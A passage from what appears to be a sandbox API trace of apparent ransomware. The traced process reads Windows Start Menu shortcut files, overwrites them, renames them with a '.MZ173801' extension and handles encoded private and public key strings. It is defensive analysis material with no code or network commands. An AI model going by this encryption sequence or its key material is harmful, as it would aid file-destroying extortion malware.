out: lpLocalFileTime=0x19f530) returned 1 [0213.153] FileTimeToDosDateTime (in: lpFileTime=0x19f530, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.153] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\component services.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c1db61d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c1db61d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c1db61d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x45c)) returned 1 [0213.153] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\component services.lnk")) returned 0x20 [0213.153] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk", dwFileAttributes=0x80) returned 1 [0213.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0213.155] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24b729c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0213.185] GetCurrentThreadId () returned 0xab4 [0213.185] GetCurrentThreadId () returned 0xab4 [0213.185] GetCurrentThreadId () returned 0xab4 [0213.187] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0213.187] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c82fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0213.187] GetCurrentThreadId () returned 0xab4 [0213.187] GetCurrentThreadId () returned 0xab4 [0213.187] GetCurrentThreadId () returned 0xab4 [0213.187] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\component services.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0213.188] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0213.188] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.188] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x45c [0213.188] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0213.188] ReadFile (in: hFile=0x330, lpBuffer=0x24d0100, nNumberOfBytesToRead=0x45c, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d0100*, lpNumberOfBytesRead=0x19f480*=0x45c, lpOverlapped=0x0) returned 1 [0213.219] CloseHandle (hObject=0x330) returned 1 [0213.220] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\component services.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0213.232] WriteFile (in: hFile=0x330, lpBuffer=0x24d2130*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d2130*, lpNumberOfBytesWritten=0x19f48c*=0x45c, lpOverlapped=0x0) returned 1 [0213.297] CloseHandle (hObject=0x330) returned 1 [0213.297] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\component services.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\component services.lnk.mz173801")) returned 1 [0213.298] GetCurrentThreadId () returned 0xab4 [0213.298] GetCurrentThreadId () returned 0xab4 [0213.298] GetCurrentThreadId () returned 0xab4 [0213.298] GetCurrentThreadId () returned 0xab4 [0213.298] GetCurrentThreadId () returned 0xab4 [0213.298] GetCurrentThreadId () returned 0xab4 [0213.298] FindNextFileW (in: hFindFile=0xa1b3b8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33042a24, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x33042a24, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x33042a24, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x48c, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Computer Management.lnk", cAlternateFileName="")) returned 1 [0213.299] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0213.299] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0213.299] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\computer management.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33042a24, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x33042a24, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x33042a24, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x48c)) returned 1 [0213.300] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\computer management.lnk")) returned 0x20 [0213.300] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Computer Management.lnk", dwFileAttributes=0x80) returned 1 [0213.302] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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